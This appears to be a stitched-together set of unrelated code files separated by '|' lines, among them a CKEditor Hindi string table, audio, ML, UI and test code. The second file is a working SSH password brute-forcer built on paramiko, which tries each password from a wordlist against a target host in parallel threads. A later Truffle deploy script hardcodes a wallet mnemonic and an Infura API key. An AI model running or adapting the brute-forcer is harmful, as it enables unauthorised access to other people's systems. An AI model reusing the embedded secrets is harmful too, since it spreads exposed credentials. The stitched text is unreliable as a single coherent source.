Alignment","vAlign":"Vertical Alignment","alignBaseline":"Baseline","bgColor":"Background Color","borderColor":"Border Color","data":"Data","header":"Header","yes":"Yes","no":"No","invalidWidth":"Cell width must be a number.","invalidHeight":"Cell height must be a number.","invalidRowSpan":"Rows span must be a whole number.","invalidColSpan":"Columns span must be a whole number.","chooseColor":"Choose"},"cellPad":"सैल पैडिंग","cellSpace":"सैल अंतर","column":{"menu":"कालम","insertBefore":"पहले कालम डालें","insertAfter":"बाद में कालम डालें","deleteColumn":"कालम डिलीट करें"},"columns":"कालम","deleteTable":"टेबल डिलीट करें","headers":"Headers","headersBoth":"Both","headersColumn":"First column","headersNone":"None","headersRow":"First Row","invalidBorder":"Border size must be a number.","invalidCellPadding":"Cell padding must be a positive number.","invalidCellSpacing":"Cell spacing must be a positive number.","invalidCols":"Number of columns must be a number greater than 0.","invalidHeight":"Table height must be a number.","invalidRows":"Number of rows must be a number greater than 0.","invalidWidth":"Table width must be a number.","menu":"टेबल प्रॉपर्टीज़","row":{"menu":"पंक्ति","insertBefore":"पहले पंक्ति डालें","insertAfter":"बाद में पंक्ति डालें","deleteRow":"पंक्तियाँ डिलीट करें"},"rows":"पंक्तियाँ","summary":"सारांश","title":"टेबल प्रॉपर्टीज़","toolbar":"टेबल","widthPc":"प्रतिशत","widthPx":"पिक्सैल","widthUnit":"width unit"},"undo":{"redo":"रीडू","undo":"अन्डू"},"wsc":{"btnIgnore":"इग्नोर","btnIgnoreAll":"सभी इग्नोर करें","btnReplace":"रिप्लेस","btnReplaceAll":"सभी रिप्लेस करें","btnUndo":"अन्डू","changeTo":"इसमें बदलें","errorLoading":"Error loading application service host: %s.","ieSpellDownload":"स्पॅल-चॅकर इन्स्टाल नहीं किया गया है। क्या आप इसे डाउनलोड करना चाहेंगे?","manyChanges":"वर्तनी की जाँच : %1 शब्द बदले गये","noChanges":"वर्तनी की जाँच :कोई शब्द नहीं बदला गया","noMispell":"वर्तनी की जाँच : कोई गलत वर्तनी (स्पॅलिंग) नहीं पाई गई","noSuggestions":"- कोई सुझाव नहीं -","notAvailable":"Sorry, but service is unavailable now.","notInDic":"शब्दकोश में नहीं","oneChange":"वर्तनी की जाँच : एक शब्द बदला गया","progress":"वर्तनी की जाँच (स्पॅल-चॅक) जारी है...","title":"Spell Checker","toolbar":"वर्तनी (स्पेलिंग) जाँच"}};
|
import paramiko,os,sys,socket
#Final
import threading,time
def ssh_connect(passw,code=0):
global stop_flag
global idpass
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host,port=22,username=username,password=passw)
stop_flag=1
idpass=[username,passw]
print("passowrd found : ",passw,", user name : ",username)
except Exception as erd:
print(erd)
#print("Incorrect Login : ",passw)
pass
ssh.close()
def bruteforce():
global input_file, stop_flag, idpass
idpass=["Not Found","Not Found"]
stop_flag=0
f_name=os.path.join(os.path.dirname(__file__),input_file)
print(f_name,input_file)
if (os.path.isfile(f_name))==False:
print("File/Path doesnt exist")
# sys.exit(1)
with open(f_name,'r') as file:
for line in file.readlines():
print("working.."+str(line))
if stop_flag==1:
try:
# t.join()
exit(0)
break
except SystemExit as e:
print(e)
break
passw=line.strip()
t=threading.Thread(target=ssh_connect,args=(passw,))
t.start()
time.sleep(0.5)
idpass[0]=username
return idpass
if __name__=='__main__':
pass
else:
stop_flag=0
idpass=["Not Found","Not Found"]
host=""
# username=input('')
username=""
input_file=""
# test()
|
"""
Copyright (c) Contributors to the Open 3D Engine Project.
For complete copyright and license terms please see the LICENSE at the root of this distribution.
SPDX-License-Identifier: Apache-2.0 OR MIT
"""
#
# Helpful functions to simplify running the Hydra tests
#
import pytest
pytest.importorskip('ly_test_tools')
import os
import ly_test_tools.log.log_monitor
import ly_test_tools.environment.waiter as waiter
import logging
logger = logging.getLogger(__name__)
def launch_test_case(editor, test_case, expected_lines, unexpected_lines):
timeout=180
halt_on_unexpected=False
logger.debug("Running automated test: {}".format(test_case))
editor.args.extend(['-NullRenderer', "--skipWelcomeScreenDialog", "--autotest_mode", "--runpythontest", test_case])
print ('editor.args = {}'.format(editor.args))
with editor.start():
editorlog_file = os.path.join(editor.workspace.paths.project_log(), 'Editor.log')
log_monitor = ly_test_tools.log.log_monitor.LogMonitor(editor, editorlog_file)
logger.debug("Waiting for log file '{}' to be opened by another process.".format(editorlog_file))
waiter.wait_for(
lambda: editor.is_alive(),
timeout,
exc=("Log file '{}' was never opened by another process.".format(editorlog_file)),
interval=1)
log_monitor.monitor_log_for_lines(expected_lines, unexpected_lines, halt_on_unexpected, timeout)
def launch_test_case_with_args(editor, test_case, expected_lines, unexpected_lines, extra_args):
timeout=180
halt_on_unexpected=False
logger.debug("Running automated test: {}".format(test_case))
editor.args.extend(['-NullRenderer', "--skipWelcomeScreenDialog", "--autotest_mode", "--runpythontest", test_case, '--runpythonargs'])
editor.args.extend(extra_args)
print ('editor.args = {}'.format(editor.args))
with editor.start():
editorlog_file = os.path.join(editor.workspace.paths.project_log(), 'Editor.log')
log_monitor = ly_test_tools.log.log_monitor.LogMonitor(editor, editorlog_file)
logger.debug("Waiting for log file '{}' to be opened by another process.".format(editorlog_file))
waiter.wait_for(
lambda: editor.is_alive(),
timeout,
exc=("Log file '{}' was never opened by another process.".format(editorlog_file)),
interval=1)
log_monitor.monitor_log_for_lines(expected_lines, unexpected_lines, halt_on_unexpected, timeout)
|
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
/**
* This sample demonstrates how to recognize US sales receipts from a URL.
*/
const { FormRecognizerClient, AzureKeyCredential } = require("@azure/ai-form-recognizer");
// Load the .env file if it exists
require("dotenv").config();
async function main() {
// You will need to set these environment variables or edit the following values
const endpoint = process.env["FORM_RECOGNIZER_ENDPOINT"] || "<cognitive service endpoint>";
const apiKey = process.env["FORM_RECOGNIZER_API_KEY"] || "<api key>";
const client = new FormRecognizerClient(endpoint, new AzureKeyCredential(apiKey));
const url =
"https://raw.githubusercontent.com/Azure-Samples/cognitive-services-REST-api-samples/master/curl/form-recognizer/contoso-allinone.jpg";
const poller = await client.beginRecognizeReceiptsFromUrl(url, {
includeTextDetails: true,
onProgress: (state) => {
console.log(`analyzing status: ${state.status}`);
}
});
await poller.pollUntilDone();
const response = poller.getResult();
if (!response) {
throw new Error("Expecting valid response!");
}
console.log(`### Response status ${response.status}`);
if (!response) {
throw new Error("Expecting analysis result");
}
if (!response.receipts || response.receipts.length <= 0) {
throw new Error("Expecting at lease one receipt in analysis result");
}
const usReceipt = response.receipts[0];
console.log("First receipt:");
console.log(`Receipt type: ${usReceipt.receiptType.type} with confidence ${usReceipt.receiptType.confidence}`);
console.log(
`Merchant Name: ${usReceipt.merchantName.value} (confidence: ${usReceipt.merchantName.confidence})`
);
console.log(
`Transaction Date: ${usReceipt.transactionDate.value} (confidence: ${usReceipt.transactionDate.confidence})`
);
console.log("Receipt items:");
console.log(` name\tprice\tquantity\ttotalPrice`);
for (const item of usReceipt.items) {
const name = `${optionalToString(item.name.value)} (confidence: ${optionalToString(
item.name.confidence
)})`;
const price = `${optionalToString(item.price.value)} (confidence: ${optionalToString(
item.price.confidence
)})`;
const quantity = `${optionalToString(item.quantity.value)} (confidence: ${optionalToString(
item.quantity.confidence
)})`;
const totalPrice = `${optionalToString(item.totalPrice.value)} (confidence: ${optionalToString(
item.totalPrice.confidence
)})`;
console.log(` ${name}\t${price}\t${quantity}\t${totalPrice}`);
}
// raw fields are also included in the result
console.log("Raw 'MerchantAddress' field:");
console.log(usReceipt.recognizedForm.fields["MerchantAddress"]);
}
function optionalToString(value) {
return `${value || "<missing>"}`;
}
main().catch((err) => {
console.error("The sample encountered an error:", err);
});
|
#ifndef CVMFS_ASYNC_READER_H
#define CVMFS_ASYNC_READER_H
/**
* This file is part of the CernVM File System.
*/
#include <tbb/concurrent_queue.h>
#include <tbb/task_scheduler_init.h>
#include <tbb/task.h>
#include <tbb/tbb_thread.h>
#include <list>
#include <string>
#include "char_buffer.h"
#include "../util_concurrency.h"
namespace upload { // TODO: remove this... wrong namespace (for testing)
class AbstractFile;
class AbstractReader {
public:
AbstractReader(const unsigned int max_buffers_in_flight) :
buffers_in_flight_counter_(max_buffers_in_flight)
{}
virtual ~AbstractReader() {}
/**
* Releases CharBuffers that were previously allocated by the Reader. This
* needs to be called for each Buffer that was created using CreateBuffer.
*/
void ReleaseBuffer(CharBuffer *buffer);
/**
* Gets called by the AbstractFileScrubbingTask for each fully read file
*/
virtual void FinalizedFile(AbstractFile *file) = 0;
protected:
/**
* Creates a new Buffer object with the provided size. If too many buffers
* are currently processed, this method blocks until a Buffer slot gets free.
*/
CharBuffer *CreateBuffer(const size_t size);
private:
SynchronizingCounter<uint32_t> buffers_in_flight_counter_;
};
/**
* The Reader takes care of the efficient read-in of files. It (asynchronously)
* pops read jobs from a queue and handles them. Reading of multiple big Files
* is done concurrently in a sense that new data Blocks for a number of Files
* are read in a round robin fashion and scheduled for processing.
* This allows for better parallelism in the processing pipeline since each
* individual File needs to be processed sequentially. Though data Blocks of
* different Files are independent of each other and allow for higher throughput.
*
* Note: The Reader produces CharBuffers that are passed into the processing
* pipeline. The Reader claims ownership of these specific CharBuffers,
* thus they need to be released using the Reader::ReleaseBuffer() method!
*/
template <class FileScrubbingTaskT, class FileT>
class Reader : public AbstractReader,
public Observable<FileT*> {
protected:
/**
* Internal structure to keep information about each currently open File.
*/
struct OpenFile {
OpenFile() :
file(NULL), file_descriptor(0), file_marker(0), previous_task(NULL),
previous_sync_task(NULL) {}
FileT *file; ///< reference to the associated File structure
int file_descriptor; ///< open file descriptor of the file
off_t file_marker; ///< current position of file read-in
FileScrubbingTaskT *previous_task; ///< previously scheduled TBB task (for synchronization)
tbb::task *previous_sync_task; ///< previously scheduled TBB task (for synchronization)
};
typedef std::list<OpenFile> OpenFileList;
struct FileJob {
FileJob(FileT *file) : file(file), terminate(false) {}
FileJob() : file(NULL), terminate(true) {}
FileT *file;
bool terminate;
};
typedef tbb::concurrent_bounded_queue<FileJob> JobQueue;
public:
Reader(const size_t max_buffer_size,
const unsigned int max_files_in_flight,
const unsigned int number_of_tbb_threads =
tbb::task_scheduler_init::default_num_threads() + 1) :
AbstractReader(max_files_in_flight * 5),
max_buffer_size_(max_buffer_size),
draining_(false),
files_in_flight_counter_(max_files_in_flight),
tbb_worker_count_(number_of_tbb_threads),
running_(false) {}
virtual ~Reader() {
assert (! running_);
}
bool Initialize();
void TearDown() { Terminate(); }
void ScheduleRead(FileT *file) {
assert (running_);
++files_in_flight_counter_;
queue_.push(FileJob(file));
}
void Wait() {
files_in_flight_counter_.WaitForZero();
}
void Terminate() {
Wait();
if (running_ && read_thread_.joinable()) {
// send a termination signal through the queue and wait for the read
// thread to terminate
queue_.push(FileJob());
read_thread_.join();
running_ = false;
}
}
protected:
void ReadThread();
/** Checks if there is still data to be worked on */
bool HasData() const { return ! draining_ || open_files_.size() > 0; }
/**
* When all Files have been scheduled from the outside, we enable the draining
* mode to bring all reading to an end and terminate eventually.
*/
void EnableDraining() { draining_ = true; }
bool TryToAcquireNewJob(FileJob &next_job);
void OpenNewFile(FileT *file);
void CloseFile(OpenFile &file);
bool ReadAndScheduleNextBuffer(OpenFile &open_file);
void FinalizedFile(AbstractFile *file);
private:
JobQueue queue_; ///< reference to the JobQueue (see IoDispatcher)
const size_t max_buffer_size_; ///< size of data Blocks to read-in
bool draining_;
OpenFileList open_files_;
SynchronizingCounter<uint32_t> files_in_flight_counter_;
const unsigned int tbb_worker_count_;
tbb::tbb_thread read_thread_;
Future<bool> thread_started_executing_;
bool running_;
};
}
#include "async_reader_impl.h"
#endif /* CVMFS_ASYNC_READER_H */
|
/*
==============================================================================
This file is part of the JUCE examples.
Copyright (c) 2017 - ROLI Ltd.
The code included in this file is provided under the terms of the ISC license
http://www.isc.org/downloads/software-support-policy/isc-license. Permission
To use, copy, modify, and/or distribute this software for any purpose with or
without fee is hereby granted provided that the above copyright notice and
this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES,
WHETHER EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR
PURPOSE, ARE DISCLAIMED.
==============================================================================
*/
/*******************************************************************************
The block below describes the properties of this PIP. A PIP is a short snippet
of code that can be read by the Projucer and used to generate a JUCE project.
BEGIN_JUCE_PIP_METADATA
name: PluckedStringsDemo
version: 1.0.0
vendor: JUCE
website: http://juce.com
description: Simulation of a plucked string sound.
dependencies: juce_audio_basics, juce_audio_devices, juce_audio_formats,
juce_audio_processors, juce_audio_utils, juce_core,
juce_data_structures, juce_events, juce_graphics,
juce_gui_basics, juce_gui_extra
exporters: xcode_mac, vs2017, linux_make, androidstudio, xcode_iphone
moduleFlags: JUCE_STRICT_REFCOUNTEDPOINTER=1
type: Component
mainClass: PluckedStringsDemo
useLocalCopy: 1
END_JUCE_PIP_METADATA
*******************************************************************************/
#pragma once
//==============================================================================
/**
A very basic generator of a simulated plucked string sound, implementing
the Karplus-Strong algorithm.
Not performance-optimised!
*/
class StringSynthesiser
{
public:
//==============================================================================
/** Constructor.
@param sampleRate The audio sample rate to use.
@param frequencyInHz The fundamental frequency of the simulated string in
Hertz.
*/
StringSynthesiser (double sampleRate, double frequencyInHz)
{
doPluckForNextBuffer.set (false);
prepareSynthesiserState (sampleRate, frequencyInHz);
}
//==============================================================================
/** Excite the simulated string by plucking it at a given position.
@param pluckPosition The position of the plucking, relative to the length
of the string. Must be between 0 and 1.
*/
void stringPlucked (float pluckPosition)
{
jassert (pluckPosition >= 0.0 && pluckPosition <= 1.0);
// we choose a very simple approach to communicate with the audio thread:
// simply tell the synth to perform the plucking excitation at the beginning
// of the next buffer (= when generateAndAddData is called the next time).
if (doPluckForNextBuffer.compareAndSetBool (1, 0))
{
// plucking in the middle gives the largest amplitude;
// plucking at the very ends will do nothing.
amplitude = std::sin (MathConstants<float>::pi * pluckPosition);
}
}
//==============================================================================
/** Generate next chunk of mono audio output and add it into a buffer.
@param outBuffer Buffer to fill (one channel only). New sound will be
added to existing content of the buffer (instead of
replacing it).
@param numSamples Number of samples to generate (make sure that outBuffer
has enough space).
*/
void generateAndAddData (float* outBuffer, int numSamples)
{
if (doPluckForNextBuffer.compareAndSetBool (0, 1))
exciteInternalBuffer();
// cycle through the delay line and apply a simple averaging filter
for (auto i = 0; i < numSamples; ++i)
{
auto nextPos = (pos + 1) % delayLine.size();
delayLine[nextPos] = (float) (decay * 0.5 * (delayLine[nextPos] + delayLine[pos]));
outBuffer[i] += delayLine[pos];
pos = nextPos;
}
}
private:
//==============================================================================
void prepareSynthesiserState (double sampleRate, double frequencyInHz)
{
auto delayLineLength = (size_t) roundToInt (sampleRate / frequencyInHz);
// we need a minimum delay line length to get a reasonable synthesis.
// if you hit this assert, increase sample rate or decrease frequency!
jassert (delayLineLength > 50);
delayLine.resize (delayLineLength);
std::fill (delayLine.begin(), delayLine.end(), 0.0f);
excitationSample.resize (delayLineLength);
// as the excitation sample we use random noise between -1 and 1
// (as a simple approximation to a plucking excitation)
std::generate (excitationSample.begin(),
excitationSample.end(),
[] { return (Random::getSystemRandom().nextFloat() * 2.0f) - 1.0f; } );
}
void exciteInternalBuffer()
{
// fill the buffer with the precomputed excitation sound (scaled with amplitude)
jassert (delayLine.size() >= excitationSample.size());
std::transform (excitationSample.begin(),
excitationSample.end(),
delayLine.begin(),
[this] (double sample) { return static_cast<float> (amplitude * sample); } );
}
//==============================================================================
const double decay = 0.998;
double amplitude = 0.0;
Atomic<int> doPluckForNextBuffer;
std::vector<float> excitationSample, delayLine;
size_t pos = 0;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (StringSynthesiser)
};
//==============================================================================
/*
This component represents a horizontal vibrating musical string of fixed height
and variable length. The string can be excited by calling stringPlucked().
*/
class StringComponent : public Component,
private Timer
{
public:
StringComponent (int lengthInPixels, Colour stringColour)
: length (lengthInPixels), colour (stringColour)
{
// ignore mouse-clicks so that our parent can get them instead.
setInterceptsMouseClicks (false, false);
setSize (length, height);
startTimerHz (60);
}
//==============================================================================
void stringPlucked (float pluckPositionRelative)
{
amplitude = maxAmplitude * std::sin (pluckPositionRelative * MathConstants<float>::pi);
phase = MathConstants<float>::pi;
}
//==============================================================================
void paint (Graphics& g) override
{
g.setColour (colour);
g.strokePath (generateStringPath(), PathStrokeType (2.0f));
}
Path generateStringPath() const
{
auto y = height / 2.0f;
Path stringPath;
stringPath.startNewSubPath (0, y);
stringPath.quadraticTo (length / 2.0f, y + (std::sin (phase) * amplitude), (float) length, y);
return stringPath;
}
//==============================================================================
void timerCallback() override
{
updateAmplitude();
updatePhase();
repaint();
}
void updateAmplitude()
{
// this determines the decay of the visible string vibration.
amplitude *= 0.99f;
}
void updatePhase()
{
// this determines the visible vibration frequency.
// just an arbitrary number chosen to look OK:
auto phaseStep = 400.0f / length;
phase += phaseStep;
if (phase >= MathConstants<float>::twoPi)
phase -= MathConstants<float>::twoPi;
}
private:
//==============================================================================
int length;
Colour colour;
int height = 20;
float amplitude = 0.0f;
const float maxAmplitude = 12.0f;
float phase = 0.0f;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (StringComponent)
};
//==============================================================================
class PluckedStringsDemo : public AudioAppComponent
{
public:
PluckedStringsDemo()
#ifdef JUCE_DEMO_RUNNER
: AudioAppComponent (getSharedAudioDeviceManager (0, 2))
#endif
{
createStringComponents();
setSize (800, 560);
// specify the number of input and output channels that we want to open
auto audioDevice = deviceManager.getCurrentAudioDevice();
auto numInputChannels = (audioDevice != nullptr ? audioDevice->getActiveInputChannels() .countNumberOfSetBits() : 0);
auto numOutputChannels = jmax (audioDevice != nullptr ? audioDevice->getActiveOutputChannels().countNumberOfSetBits() : 2, 2);
setAudioChannels (numInputChannels, numOutputChannels);
}
~PluckedStringsDemo()
{
shutdownAudio();
}
//==============================================================================
void prepareToPlay (int /*samplesPerBlockExpected*/, double sampleRate) override
{
generateStringSynths (sampleRate);
}
void getNextAudioBlock (const AudioSourceChannelInfo& bufferToFill) override
{
bufferToFill.clearActiveBufferRegion();
for (auto channel = 0; channel < bufferToFill.buffer->getNumChannels(); ++channel)
{
auto* channelData = bufferToFill.buffer->getWritePointer (channel, bufferToFill.startSample);
if (channel == 0)
{
for (auto synth : stringSynths)
synth->generateAndAddData (channelData, bufferToFill.numSamples);
}
else
{
memcpy (channelData,
bufferToFill.buffer->getReadPointer (0),
((size_t) bufferToFill.numSamples) * sizeof (float));
}
}
}
void releaseResources() override
{
stringSynths.clear();
}
//==============================================================================
void paint (Graphics&) override {}
void resized() override
{
auto xPos = 20;
auto yPos = 20;
auto yDistance = 50;
for (auto stringLine : stringLines)
{
stringLine->setTopLeftPosition (xPos, yPos);
yPos += yDistance;
addAndMakeVisible (stringLine);
}
}
private:
void mouseDown (const MouseEvent& e) override
{
mouseDrag (e);
}
void mouseDrag (const MouseEvent& e) override
{
for (auto i = 0; i < stringLines.size(); ++i)
{
auto* stringLine = stringLines.getUnchecked (i);
if (stringLine->getBounds().contains (e.getPosition()))
{
auto position = (e.position.x - stringLine->getX()) / stringLine->getWidth();
stringLine->stringPlucked (position);
stringSynths.getUnchecked (i)->stringPlucked (position);
}
}
}
//==============================================================================
struct StringParameters
{
StringParameters (int midiNote)
: frequencyInHz (MidiMessage::getMidiNoteInHertz (midiNote)),
lengthInPixels ((int) (760 / (frequencyInHz / MidiMessage::getMidiNoteInHertz (42))))
{}
double frequencyInHz;
int lengthInPixels;
};
static Array<StringParameters> getDefaultStringParameters()
{
return Array<StringParameters> (42, 44, 46, 49, 51, 54, 56, 58, 61, 63, 66, 68, 70);
}
void createStringComponents()
{
for (auto stringParams : getDefaultStringParameters())
{
stringLines.add (new StringComponent (stringParams.lengthInPixels,
Colour::fromHSV (Random().nextFloat(), 0.6f, 0.9f, 1.0f)));
}
}
void generateStringSynths (double sampleRate)
{
stringSynths.clear();
for (auto stringParams : getDefaultStringParameters())
{
stringSynths.add (new StringSynthesiser (sampleRate, stringParams.frequencyInHz));
}
}
//==============================================================================
OwnedArray<StringComponent> stringLines;
OwnedArray<StringSynthesiser> stringSynths;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (PluckedStringsDemo)
};
|
const HDWalletProvider = require('truffle-hdwallet-provider');
const Web3 = require('web3');
const { interface, bytecode } = require('./compile');
const provider = new HDWalletProvider(
'donor depth alcohol bounce shallow pitch divert fence solution farm outside thing',
'https://rinkeby.infura.io/v3/afd58edb4ea545b0a676bcd5b6ce1302'
);
const web3 = new Web3(provider);
(async () => {
const accounts = await web3.eth.getAccounts();
console.log('Attempting to deploy from account ', accounts[0]);
const result = await new web3.eth.Contract(JSON.parse(interface))
.deploy({data: bytecode, arguments: ['Hi there'] })
.send({ gas: '1000000', from: accounts[0] });
console.log('Contract deployed to', result.options.address);
})();
|
from collections.abc import Callable
import torch
import functools
import logging
log = logging.getLogger(__name__)
try:
from mapped_convolution.nn import MappedConvolution, MappedTransposedConvolution
except ImportError:
__SPHERICAL_MAPPED_INCLUDED__ = False
else:
__SPHERICAL_MAPPED_INCLUDED__ = True
__all__ = ["Kaiming"]
class Kaiming(Callable):
def __init__(self,
zero_bias: bool=False,
gain: float=0.0,
mode: str='fan_out', # one of ['fan_in', 'fan_out']
nonlinearity: str='relu', # one of ['relu', 'leaky_relu']
):
self.conv_w_init = functools.partial(torch.nn.init.kaiming_normal_,
a=gain,
mode=mode,
nonlinearity=nonlinearity
)
self.conv_b_init = torch.nn.init.zeros_ if zero_bias else torch.nn.init.normal_
self.w_init = torch.nn.init.normal_
def __call__(self,
module: torch.nn.Module
) -> None:
if isinstance(module, torch.nn.Conv1d):
self.w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.Conv2d):
self.conv_w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.Conv3d):
self.conv_w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.ConvTranspose1d):
self.w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.ConvTranspose2d):
self.w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.ConvTranspose3d):
self.w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif isinstance(module, torch.nn.BatchNorm1d):
torch.nn.init.normal_(module.weight, mean=1, std=0.02)
torch.nn.init.constant_(module.bias, 0)
elif isinstance(module, torch.nn.BatchNorm2d):
torch.nn.init.normal_(module.weight, mean=1, std=0.02)
torch.nn.init.constant_(module.bias, 0)
elif isinstance(module, torch.nn.BatchNorm3d):
torch.nn.init.normal_(module.weight, mean=1, std=0.02)
torch.nn.init.constant_(module.bias, 0)
elif isinstance(module, torch.nn.Linear):
self.conv_w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
elif __SPHERICAL_MAPPED_INCLUDED__ and \
(isinstance(module, MappedConvolution) or isinstance(module, MappedTransposedConvolution)):
self.conv_w_init(module.weight)
if module.bias is not None:
self.conv_b_init(module.bias)
|
# coding=utf-8
# Copyright 2020 The Tensor2Tensor Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Miscellaneous utilities."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import pprint
import re
# Camel case to snake case utils
_first_cap_re = re.compile("(.)([A-Z][a-z0-9]+)")
_all_cap_re = re.compile("([a-z0-9])([A-Z])")
def camelcase_to_snakecase(name):
s1 = _first_cap_re.sub(r"\1_\2", name)
return _all_cap_re.sub(r"\1_\2", s1).lower()
def snakecase_to_camelcase(name):
return "".join([w[0].upper() + w[1:] for w in name.split("_")])
def pprint_hparams(hparams):
"""Represents hparams using its dictionary and calls pprint.pformat on it."""
return "\n{}".format(pprint.pformat(hparams.values(), width=1))
|
"""
This file is part of:
NIND's BodySlide Utilites
by NIND
Created to work with BodySlide 2 and Outfit Studio
by Ousnius
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any
damages arising from the use of this software.
Permission is granted to anyone to use this software for any
purpose, including commercial applications, and to alter it and
redistribute it freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product documentation
would be appreciated but is not required.
2. Altered source versions must be plainly marked as such, and
must not be misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
"""
#Import of Modules used
import os
#Tk
import tkinter as tk
#from tkinter import *
from tkinter import messagebox
from tkinter import filedialog
#from tkMessageBox import *
#Local Application Imports
from ..ParsingBSGG.XMLIO import CreateConfigBSCGXML
#This function opens a Tkinter folder select dialog to enable selection of the Bodyslide folder.
#Loops until the four "Slider" folders are found in the same subdirectory
def BodySlidePathSelect():
#Init
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Boolean
bodyslideDirFound= False
enableErrorLogging=False
#Request Bodyslide Folder
while (bodyslideDirFound==False):
filename = filedialog.askdirectory(initialdir = "/",title = "Select BodySlide Folder")
#Check for existance of SliderGroups,SliderSets,SliderPresets,SliderCategories
sliderCategoriesFound=os.path.isdir(filename+"/SliderCategories")
print("SliderCategories= "+ str(sliderCategoriesFound))
sliderGroupsFound=os.path.isdir(filename+"/SliderGroups")
print("SliderGroups= "+ str(sliderGroupsFound))
sliderPresetsFound=os.path.isdir(filename+"/SliderPresets")
print("SliderPresets= "+ str(sliderPresetsFound))
sliderSetsFound=os.path.isdir(filename+"/SliderSets")
print("SliderSets= "+ str(sliderSetsFound))
#Boolean Check for Creation
if(sliderCategoriesFound and sliderGroupsFound and sliderPresetsFound and sliderSetsFound):
#Toggle Found Boolean
bodyslideDirFound=True
#Check for Desired Error Log Status
enableErrorLogging=messagebox.askyesno("BodySlide Custom Grouper","Would you like to enable Debug Logging?")
#Create the ConfigBSGG.xml file
CreateConfigBSCGXML(filename,enableErrorLogging)
else:
messagebox.showinfo("BodySlide Custom Grouper","Slider Folder(s) not Detected.\n See Terminal/Console")
#Destroy Root
root.destroy()
#Renders a TKinter dialog with a custom question and title. Returns True/False
def CustomYesNoTF(stringTitle,stringContent):
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Display Yes/No Dialog
result=messagebox.askyesno(stringTitle,stringContent)
#Destroy Root
root.destroy()
return result
#Renders a TKinter dialog with a custom message and Title
def CustomOK(stringTitle,stringContent):
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Display Okay Dialog
messagebox.showinfo(stringTitle,stringContent)
#Destroy Root
root.destroy()
#Renders a TKinter dialog with a custom message and Title Returns True/False or None
def CustomYesNoCancel(stringTitle,stringContent):
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Display Okay Dialog
result=messagebox.askyesnocancel(stringTitle,stringContent)
#Destroy Root
root.destroy()
return result
#Renders a TKinter warning Dialog
def CustomWarning(stringTitle,stringContent):
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Display Okay Dialog
messagebox.showwarning(stringTitle,stringContent)
#Destroy Root
root.destroy()
#Renders a TKinter Error Dialog with a custom message and Title
def CustomError(stringTitle,stringContent):
#Create and Hide Root window
root = tk.Tk()
root.withdraw()
#Display Okay Dialog
messagebox.showerror(stringTitle,stringContent)
#Destroy Root
root.destroy()
|
var servicesApp=angular.module('ServicesApp', []);
angular.module("ServicesApp").controller("ServicesController", [ "$scope", function($scope) {
$scope.services = [
{
name: 'Web Development',
price: 300,
active:true
},{
name: 'Design',
price: 400,
active:false
},{
name: 'Integration',
price: 250,
active:false
},{
name: 'Formation',
price: 220,
active:false
}
];
$scope.toggleActive = function(s){
s.active = !s.active;
};
$scope.total = function(){
var total = 0;
$scope.count=0;
angular.forEach($scope.services, function(s){
if (s.active){
total+= s.price;
$scope.count++;
}
});
return total;
};
} ]);
module.exports=servicesApp;
|
#pragma once
#if defined(__AVR__)
#include <avr/pgmspace.h>
#else
#include <pgmspace.h>
#endif
#define DEBUG_PRINT
#ifdef DEBUG_PRINT
#define DEBUG(s) \
{ \
Serial.print(s); \
}
#define DEBUGLN(s) \
{ \
Serial.println(s); \
}
#else
#define DEBUG(s)
#define DEBUGLN(s)
#endif
/// MAC adress of ESP8266
// size: 13 chars
extern char deviceMAC[13];
/// LED Christmas Tree
/// size: 18 chars
constexpr static const char* HOSTNAME PROGMEM = "LED Christmas Tree";
|
const Table = require("../models/table");
const Field = require("../models/field");
const db = require("../db");
const { getState } = require("../db/state");
getState().registerPlugin("base", require("../base-plugin"));
afterAll(db.close);
beforeAll(async () => {
await require("../db/reset_schema")();
await require("../db/fixtures")();
});
describe("Field", () => {
it("should add and then delete required field", async () => {
const patients = await Table.findOne({ name: "patients" });
const fc = await Field.create({
table: patients,
label: "Height1",
type: "Integer",
required: true,
attributes: { default: 6 },
});
expect(fc.id > 0).toBe(true);
const f = await Field.findOne({ id: fc.id });
expect(f.name).toBe("height1");
expect(f.toJson.name).toBe("height1");
expect(f.listKey).toBe("height1");
expect(f.presets).toBe(null);
await f.delete();
const fs = await Field.find({ name: "height1" });
expect(fs.length).toBe(0);
});
it("should add and then delete nonrequired field", async () => {
const patients = await Table.findOne({ name: "patients" });
const fc = await Field.create({
table: patients,
name: "Height11",
label: "height11",
type: "Integer",
required: false,
});
